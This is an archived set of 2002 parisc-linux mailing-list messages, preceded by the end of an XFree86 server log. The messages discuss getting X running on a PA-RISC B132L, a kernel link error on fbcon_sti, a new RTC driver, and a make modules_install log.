	[8] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
	[9] -1 0	0x0000ff00 - 0x0000ff7f (0x80) IX[B]
	[10] -1 0	0x0000fe00 - 0x0000feff (0x100) IX[B]
(II) MGA: driver for Matrox chipsets: mga2064w, mga1064sg, mga2164w,
	mga2164w AGP, mgag100, mgag100 PCI, mgag200, mgag200 PCI, mgag400
(II) GLINT: driver for 3Dlabs chipsets: gamma, ti_pm2, ti_pm, pm3, pm2v,
	pm2, pm, 300sx, 500tx, mx, delta
	S3VIdentify
(II) S3VIRGE: driver (version 1.6.13) for S3 ViRGE chipsets: virge, 86C325,
	virge vx, 86C988, virge dx, virge gx, 86C375, 86C385, virge gx2,
	86C357, virge mx, 86C260, virge mx+, 86C280, trio 3d, 86C365,
	trio 3d/2x, 86C362, 86C368
(II) SIS: driver for SiS chipsets: SIS5597, SIS5598, SIS530, SIS6326,
	SIS300, SIS630, SIS540
(II) SAVAGE: driver (version 1.1.16) for S3 Savage chipsets: Savage4,
	Savage3D, Savage3D-MV, Savage2000, Savage/MX-MV, Savage/MX,
	Savage/IX-MV, Savage/IX, ProSavage PM133, ProSavage KM133, Twister,
	TwisterK
(II) TRIDENT: driver for Trident chipsets: tvga8900d, cyber9320, cyber9388,
	cyber9397, cyber9397dvd, cyber9520, cyber9525dvd, cyberblade/e4,
	tgui9420dgi, tgui9440agi, tgui9660, tgui9680, providia9682,
	providia9685, cyber9382, cyber9385, 3dimage975, 3dimage985, blade3d,
	cyberbladei7, cyberbladei7d, cyberbladei1, cyberbladei1d,
	cyberbladeAi1, cyberbladeAi1d, cyberbladeXP, cyberbladeXPm
(II) CHIPS: Driver for Chips and Technologies chipsets: ct65520, ct65525,
	ct65530, ct65535, ct65540, ct65545, ct65546, ct65548, ct65550,
	ct65554, ct65555, ct68554, ct69000, ct69030, ct64200, ct64300
(II) TDFX: Driver for 3dfx Banshee/Voodoo3 chipsets: 3dfx Banshee,
	3dfx Voodoo3, 3dfx Voodoo5
(II) FBDev: driver for framebuffer: fbdev, afb
(II) ATI: ATI driver (version 6.3.6) for chipsets: ati
(II) R128: Driver for ATI Rage 128 chipsets: ATI Rage 128 RE (PCI),
	ATI Rage 128 RF (AGP), ATI Rage 128 RG (AGP), ATI Rage 128 RK (PCI),
	ATI Rage 128 RL (AGP), ATI Rage 128 Pro PD (PCI),
	ATI Rage 128 Pro PF (AGP), ATI Rage 128 Pro PP (PCI),
	ATI Rage 128 Pro PR (PCI), ATI Rage 128 Mobility LE (PCI),
	ATI Rage 128 Mobility LF (AGP), ATI Rage 128 Mobility MF (AGP),
	ATI Rage 128 Mobility ML (AGP)
(II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP),
	ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP),
	ATI Radeon VE (AGP)
(II) imstt: driver (version 1.0.0 for IMS TwinTurbo chipsets : imstt128,
	imstt3d
(II) VGA: Generic VGA driver (version 4.0) for chipsets: generic
(II) v4l driver for Video4Linux
	S3VProbe begin
(EE) No devices detected.

Fatal server error:
no screens found

When reporting a problem related to a server crash, please send
the full server output, not just the last messages.
This can be found in the log file "/var/log/XFree86.0.log".
Please report problems to submit@bugs.debian.org.



From - Thu Nov 08 21:23:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree86 on B132L using Debian 3.0
Date: Mon, 22 Jul 2002 19:02:59 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20020723010259.D36CC482C@dsl2.external.hp.com>
References: <20020722234020.GA16294@maddentechnologies.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621556 11342 80.91.229.3 (22 Nov 2014 01:59:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Michael Madden <madden@maddentechnologies.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 22 19:02:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D36CC482C; Mon, 22 Jul 2002 19:02:59 -0600 (MDT)
In-Reply-To: Message from Michael Madden <madden@maddentechnologies.com> 
   of "Mon, 22 Jul 2002 18:40:21 CDT." <20020722234020.GA16294@maddentechnologies.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15609

Michael Madden wrote:
> Has anyone gotten X to work with the recently released Debian 3.0 on 
> a PA-RISC machine?  I have a B132L+ that I've installed Debian 3.0 on,
> but I cannot get X setup correctly.

	ftp://ftp.parisc-linux.org/kernels/b180

Has one XF86Config-4 (.joel) and will get another from my b180
if it's any different.

Oh, and you've got too many bit depths listed in your XF86Config-4.
I don't know why, but the X11 server can only tolerated one.
Use what "fbset -i" output provides.

grant


From - Thu Nov 08 21:23:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephan Trajkoff" <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cannot make kernel
Date: Tue, 23 Jul 2002 09:52:46 +0300
Lines: 20
Approved: news@gmane.org
Message-ID: <20020723065037.4D5D2482C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621556 11346 80.91.229.3 (22 Nov 2014 01:59:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 23 00:50:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 4D5D2482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Jul 2002 00:50:37 -0600 (MDT)
Original-Received: (qmail 17885 invoked from network); 23 Jul 2002 06:52:46 -0000
Original-Received: from softdnserror (HELO www.itp.bg) (httpd@212.72.204.1)
  by softdnserror with SMTP; 23 Jul 2002 06:52:46 -0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15610

-------------------------------------------------------------------
-->> FREE Perl CGI scripts add WEB ACCESS to your POP email accounts!
-->> Download today!! http://www.adjeweb.com
-------------------------------------------------------------------

`gcc -print-libgcc-file-name` /usr/src/linux/arch/parisc/lib/lib.a
/usr/src/linux/lib/lib.a  \
        --end-group \
        -o vmlinux
drivers/video/video.o: In function `.L1581':
drivers/video/video.o(.init.text 0x23e8): undefined reference to
`fbcon_sti'
drivers/video/video.o: In function `.L1639':
drivers/video/video.o(.init.text 0x25d0): undefined reference to
`fbcon_sti'
make: *** [vmlinux] Error 1

I tried to compile pa56
I made make oldconfig from pa54


From - Thu Nov 08 21:23:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cannot make kernel
Date: Tue, 23 Jul 2002 10:52:25 +0200 (CEST)
Lines: 33
Approved: news@gmane.org
Message-ID: <1027414345.3d3d19494be24@webmail.tiscalinet.be>
References: <20020723065037.4D5D2482C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621556 11349 80.91.229.3 (22 Nov 2014 01:59:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 23 02:52:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B827482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Jul 2002 02:52:34 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17WvP7-0007fZ-00; Tue, 23 Jul 2002 10:52:25 +0200
In-Reply-To: <20020723065037.4D5D2482C@dsl2.external.hp.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15611

Quoting Stephan Trajkoff <stephan@itp.bg>:

> 
> -------------------------------------------------------------------
> -->> FREE Perl CGI scripts add WEB ACCESS to your POP email accounts!
> -->> Download today!! http://www.adjeweb.com
> -------------------------------------------------------------------
> 
> `gcc -print-libgcc-file-name` /usr/src/linux/arch/parisc/lib/lib.a
> /usr/src/linux/lib/lib.a  \
>         --end-group \
>         -o vmlinux
> drivers/video/video.o: In function `.L1581':
> drivers/video/video.o(.init.text 0x23e8): undefined reference to
> `fbcon_sti'
> drivers/video/video.o: In function `.L1639':
> drivers/video/video.o(.init.text 0x25d0): undefined reference to
> `fbcon_sti'
> make: *** [vmlinux] Error 1
> 
> I tried to compile pa56
> I made make oldconfig from pa54

Do you try make clean after make oldconfig and before make vmlinux?

(I also do it yesterday evening and do not met any problem)

Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cannot make kernel
Date: Tue, 23 Jul 2002 12:36:03 +0300
Lines: 52
Approved: news@gmane.org
Message-ID: <3D3D2383.7070708@itp.bg>
References: <20020723065037.4D5D2482C@dsl2.external.hp.com> <1027414345.3d3d19494be24@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621556 11353 80.91.229.3 (22 Nov 2014 01:59:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:16 +0000 (UTC)
To: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 23 03:33:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 0327B482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Jul 2002 03:33:11 -0600 (MDT)
Original-Received: (qmail 18689 invoked from network); 23 Jul 2002 09:35:20 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 23 Jul 2002 09:35:20 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15612

joel.soete@freebel.net wrote:

>Quoting Stephan Trajkoff <stephan@itp.bg>:
>
>  
>
>>-------------------------------------------------------------------
>>-->> FREE Perl CGI scripts add WEB ACCESS to your POP email accounts!
>>-->> Download today!! http://www.adjeweb.com
>>-------------------------------------------------------------------
>>
>>`gcc -print-libgcc-file-name` /usr/src/linux/arch/parisc/lib/lib.a
>>/usr/src/linux/lib/lib.a  \
>>        --end-group \
>>        -o vmlinux
>>drivers/video/video.o: In function `.L1581':
>>drivers/video/video.o(.init.text 0x23e8): undefined reference to
>>`fbcon_sti'
>>drivers/video/video.o: In function `.L1639':
>>drivers/video/video.o(.init.text 0x25d0): undefined reference to
>>`fbcon_sti'
>>make: *** [vmlinux] Error 1
>>
>>I tried to compile pa56
>>I made make oldconfig from pa54
>>    
>>
>
>Do you try make clean after make oldconfig and before make vmlinux?
>
>(I also do it yesterday evening and do not met any problem)
>
>Joel
>
>
>-------------------------------------------------
>This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>Man I am not stupid, make oldconfig && make dep && make clean && make 
>
I working with UNIX(Linux, qnx) for 4 years...
I made apt-get dist-upgrade
very strange dude

>  
>



From - Thu Nov 08 21:23:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New genrtc driver
Date: Tue, 23 Jul 2002 14:33:42 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20020723143342.F3052@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621557 11354 80.91.229.3 (22 Nov 2014 01:59:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:17 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 23 07:33:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0B43482C
	for <parisc-linux@parisc-linux.org>; Tue, 23 Jul 2002 07:33:43 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17WznK-0002sh-00
	for parisc-linux@parisc-linux.org; Tue, 23 Jul 2002 14:33:42 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15613

there seems to be a newer RTC driver, based on the one we're currently
using.  anyone want to take a bash at integrating it into our 2.5 tree
and making it work for us?

http://www.uwsg.iu.edu/hypermail/linux/kernel/0207.2/1660.html

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] unresoved symbols when doing a make modules_install
Date: Tue, 23 Jul 2002 15:51:57 +0200
Lines: 177
Approved: news@gmane.org
Message-ID: <OE32H8BX2vRxFmNHYus00008028@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0080_01C23260.DFA6B950"
X-Trace: ger.gmane.org 1416621557 11360 80.91.229.3 (22 Nov 2014 01:59:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:17 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 23 07:52:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hotmail.com (oe32.law4.hotmail.com [216.33.148.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 55550482C
	for <parisc-linux@parisc-linux.org>; Tue, 23 Jul 2002 07:51:59 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Tue, 23 Jul 2002 06:51:58 -0700
X-Originating-IP: [213.224.83.78]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 23 Jul 2002 13:51:58.0732 (UTC) FILETIME=[1D21C4C0:01C23250]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15614

This is a multi-part message in MIME format.

------=_NextPart_000_0080_01C23260.DFA6B950
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hi all,

Today I "baked" myself a new kernel (2.4.18-pa56). After upgrading my box
(using apt-get), INIT was dying upon startup with an "unaligned access"
error. Anyway, all is working well (even the soft-power button), but I am
getting an "unresolved symbols"-error when doing a "make modules_install"
(see attached file). Yes, I copied the System.map to
/boot/System.map-2.4.18-pa56 and created a symbolic link to this file. Any
ideas?

Many thanks in advance.


regards,

Kenneth

------=_NextPart_000_0080_01C23260.DFA6B950
Content-Type: application/octet-stream;
	name="make_modules.log"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="make_modules.log"

make -C  kernel modules_install=0A=
make[1]: Entering directory `/usr/src/linux-2.4.18-pa56/kernel'=0A=
make[1]: Nothing to be done for `modules_install'.=0A=
make[1]: Leaving directory `/usr/src/linux-2.4.18-pa56/kernel'=0A=
make -C  drivers modules_install=0A=
make[1]: Entering directory `/usr/src/linux-2.4.18-pa56/drivers'=0A=
make -C block modules_install=0A=
make[2]: Entering directory `/usr/src/linux-2.4.18-pa56/drivers/block'=0A=
make[2]: Nothing to be done for `modules_install'.=0A=
make[2]: Leaving directory `/usr/src/linux-2.4.18-pa56/drivers/block'=0A=
make -C cdrom modules_install=0A=
make[2]: Entering directory `/usr/src/linux-2.4.18-pa56/drivers/cdrom'=0A=
make[2]: Nothing to be done for `modules_install'.=0A=
make[2]: Leaving directory `/usr/src/linux-2.4.18-pa56/drivers/cdrom'=0A=
make -C char modules_install=0A=
make[2]: Entering directory `/usr/src/linux-2.4.18-pa56/drivers/char'=0A=
make[2]: Nothing to be done for `modules_install'.=0A=
make[2]: Leaving directory `/usr/src/linux-2.4.18-pa56/drivers/char'=0A=
make -C hotplug modules_install=0A=
make[2]: Entering directory `/usr/src/linux-2.4.18-pa56/drivers/hotplug'=0A=
make[2]: Nothing to be done for `modules_install'.=0A=
make[2]: Leaving directory `/usr/src/linux-2.4.18-pa56/drivers/hotplug'=0A=
make -C media modules_install=0A=
make[2]: Entering directory `/usr/src/linux-2.4.18-pa56/drivers/media'=0A=
make -C radio modules_install=0A=
make[3]: Entering directory =
`/usr/src/linux-2.4.18-pa56/drivers/media/radio'=0A=
make[3]: Nothing to be done for `modules_install'.=0A=
make[3]: Leaving directory =
`/usr/src/linux-2.4.18-pa56/drivers/media/radio'=0A=
make -C video modules_install=0A=
make[3]: Entering directory =
`/usr/src/linux-2.4.18-pa56/drivers/media/video'=0A=
make[3]: Nothing to be done for `modules_install'.=0A=
make[3]: Leaving directory =
`/usr/src/linux-2.4.18-pa56/drivers/media/video'=0A=
make[2]: Leaving directory `/usr/src/linux-2.4.18-pa56/drivers/media'=0A=
make -C misc modules_install=0A=
make[2]: Entering directory `/usr/src/linux-2.4.18-pa56/drivers/misc'=0A=
make[2]: Nothing to be done for `modules_install'.=0A=
make[2]: Leaving directory `/usr/src/linux-2.4.18-pa56/drivers/misc'=0A=
make -C net modules_install=0A=
make[2]: Entering directory `/usr/src/linux-2.4.18-pa56/drivers/net'=0A=
make[2]: Nothing to be done for `modules_install'.=0A=
make[2]: Leaving directory `/usr/src/linux-2.4.18-pa56/drivers/net'=0A=
make -C parport modules_install=0A=
make[2]: Entering directory `/usr/src/linux-2.4.18-pa56/drivers/parport'=0A=
make[2]: Nothing to be done for `modules_install'.=0A=
make[2]: Leaving directory `/usr/src/linux-2.4.18-pa56/drivers/parport'=0A=
make -C scsi modules_install=0A=
make[2]: Entering directory `/usr/src/linux-2.4.18-pa56/drivers/scsi'=0A=
mkdir -p /lib/modules/2.4.18-pa56/kernel/drivers/scsi/=0A=
cp ppa.o /lib/modules/2.4.18-pa56/kernel/drivers/scsi/=0A=
make[2]: Leaving directory `/usr/src/linux-2.4.18-pa56/drivers/scsi'=0A=
make -C sound modules_install=0A=
make[2]: Entering directory `/usr/src/linux-2.4.18-pa56/drivers/sound'=0A=
make[2]: Nothing to be done for `modules_install'.=0A=
make[2]: Leaving directory `/usr/src/linux-2.4.18-pa56/drivers/sound'=0A=
make -C video modules_install=0A=
make[2]: Entering directory `/usr/src/linux-2.4.18-pa56/drivers/video'=0A=
make -C sti modules_install=0A=
make[3]: Entering directory =
`/usr/src/linux-2.4.18-pa56/drivers/video/sti'=0A=
make[3]: Nothing to be done for `modules_install'.=0A=
make[3]: Leaving directory `/usr/src/linux-2.4.18-pa56/drivers/video/sti'=0A=
make[2]: Leaving directory `/usr/src/linux-2.4.18-pa56/drivers/video'=0A=
make[1]: Leaving directory `/usr/src/linux-2.4.18-pa56/drivers'=0A=
make -C  mm modules_install=0A=
make[1]: Entering directory `/usr/src/linux-2.4.18-pa56/mm'=0A=
make[1]: Nothing to be done for `modules_install'.=0A=
make[1]: Leaving directory `/usr/src/linux-2.4.18-pa56/mm'=0A=
make -C  fs modules_install=0A=
make[1]: Entering directory `/usr/src/linux-2.4.18-pa56/fs'=0A=
make -C nls modules_install=0A=
make[2]: Entering directory `/usr/src/linux-2.4.18-pa56/fs/nls'=0A=
make[2]: Nothing to be done for `modules_install'.=0A=
make[2]: Leaving directory `/usr/src/linux-2.4.18-pa56/fs/nls'=0A=
make[1]: Leaving directory `/usr/src/linux-2.4.18-pa56/fs'=0A=
make -C  net modules_install=0A=
make[1]: Entering directory `/usr/src/linux-2.4.18-pa56/net'=0A=
make -C ipv4 modules_install=0A=
make[2]: Entering directory `/usr/src/linux-2.4.18-pa56/net/ipv4'=0A=
make[2]: Nothing to be done for `modules_install'.=0A=
make[2]: Leaving directory `/usr/src/linux-2.4.18-pa56/net/ipv4'=0A=
make -C netlink modules_install=0A=
make[2]: Entering directory `/usr/src/linux-2.4.18-pa56/net/netlink'=0A=
make[2]: Nothing to be done for `modules_install'.=0A=
make[2]: Leaving directory `/usr/src/linux-2.4.18-pa56/net/netlink'=0A=
make -C sched modules_install=0A=
make[2]: Entering directory `/usr/src/linux-2.4.18-pa56/net/sched'=0A=
make[2]: Nothing to be done for `modules_install'.=0A=
make[2]: Leaving directory `/usr/src/linux-2.4.18-pa56/net/sched'=0A=
make[1]: Leaving directory `/usr/src/linux-2.4.18-pa56/net'=0A=
make -C  ipc modules_install=0A=
make[1]: Entering directory `/usr/src/linux-2.4.18-pa56/ipc'=0A=
make[1]: Nothing to be done for `modules_install'.=0A=
make[1]: Leaving directory `/usr/src/linux-2.4.18-pa56/ipc'=0A=
make -C  lib modules_install=0A=
make[1]: Entering directory `/usr/src/linux-2.4.18-pa56/lib'=0A=
make[1]: Nothing to be done for `modules_install'.=0A=
make[1]: Leaving directory `/usr/src/linux-2.4.18-pa56/lib'=0A=
make -C  arch/parisc/tools modules_install=0A=
make[1]: Entering directory =
`/usr/src/linux-2.4.18-pa56/arch/parisc/tools'=0A=
make[1]: Nothing to be done for `modules_install'.=0A=
make[1]: Leaving directory `/usr/src/linux-2.4.18-pa56/arch/parisc/tools'=0A=
make -C  arch/parisc/kernel modules_install=0A=
make[1]: Entering directory =
`/usr/src/linux-2.4.18-pa56/arch/parisc/kernel'=0A=
make[1]: Nothing to be done for `modules_install'.=0A=
make[1]: Leaving directory =
`/usr/src/linux-2.4.18-pa56/arch/parisc/kernel'=0A=
make -C  arch/parisc/mm modules_install=0A=
make[1]: Entering directory `/usr/src/linux-2.4.18-pa56/arch/parisc/mm'=0A=
make[1]: Nothing to be done for `modules_install'.=0A=
make[1]: Leaving directory `/usr/src/linux-2.4.18-pa56/arch/parisc/mm'=0A=
make -C  arch/parisc/lib modules_install=0A=
make[1]: Entering directory `/usr/src/linux-2.4.18-pa56/arch/parisc/lib'=0A=
make[1]: Nothing to be done for `modules_install'.=0A=
make[1]: Leaving directory `/usr/src/linux-2.4.18-pa56/arch/parisc/lib'=0A=
make -C  arch/parisc/hpux modules_install=0A=
make[1]: Entering directory `/usr/src/linux-2.4.18-pa56/arch/parisc/hpux'=0A=
make[1]: Nothing to be done for `modules_install'.=0A=
